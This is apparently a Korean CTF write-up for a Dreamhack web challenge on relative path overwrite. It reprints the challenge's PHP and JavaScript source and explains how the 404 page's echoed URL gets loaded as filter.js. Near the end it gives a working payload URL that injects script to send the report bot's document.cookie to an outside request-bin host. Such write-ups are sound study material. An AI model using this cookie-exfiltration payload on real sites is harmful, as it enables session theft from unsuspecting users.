이번 문제는 저번 문제에 비해 난이도가 많이 높지 않았다.
그냥 배웠던 내용을 그대로 사용하면 됐다.
index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite-Advanced</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li>
<li><a href="/?page=report">Report</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
</body>
</html>
report.php
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
<form method="POST" class="form-inline">
<div class="form-group">
<label class="sr-only" for="path">/</label>
<div class="input-group">
<div class="input-group-addon">http://127.0.0.1/</div>
<input type="text" class="form-control" id="path" name="path" placeholder="/">
</div>
</div>
<button type="submit" class="btn btn-primary">Report</button>
</form>
vuln.php
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter === 'undefined') {
param = "nope !!";
}
else {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
404.php
<?php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";
?>
이번 문제는 구조는 전 문제와 비슷하지만 filter.js가 static안에 있다.
그래서 경로조작 공격이 어렵다.
이번 문제는 ROP공격 중 filter.js를 다른 파일을 인식하지 못하게 하는 것이 아니다.
404.php파일은 아래와 같은 역할을 한다.
위처럼 filter.js를 잘못된 경로로 요청했을 때 not found를 반환한다.
이 소스 자체가 filter.js라는 파일이 되는 것이다.
이 점에서 static 부분에 스크립트문을 삽입하면서 로드하는 filter.js의 코드가 alert(1)이 되게 하고 싶다면아래와 같이 하면된다.
alert(1)을 코드로 삽입하고 나머지 부분은 주석처리한다.
그렇게 되면 script코드가 실행 되는데 이유는
아래와 같이 로드하는 filter.js라는 파일은 이런 파일이 되어버리기 때문이다.
그럼 이제 아래와 같이 report페이지를 이용하여 봇이 ROP공격의 악성 url에 접속하게 하고 그 내용은 봇의 쿠키에 있는 flag를 리퀘스트빈에 path로 담아 같이 요청한다는 내용이다.
코드는 이러하다
index.php/;location.href='https://jfllkgl.request.dreamhack.games/'+document.cookie;//?page=vuln¶m=dreamhack
이번에는 %2b가 아니고 +이다.
그 이유는 당연하게도 저 스크립트 구문이 url이 아니라 파일에 담기기 때문이다.
그럼 아래처럼 성공적으로 flag를 구할 수 있게 된다.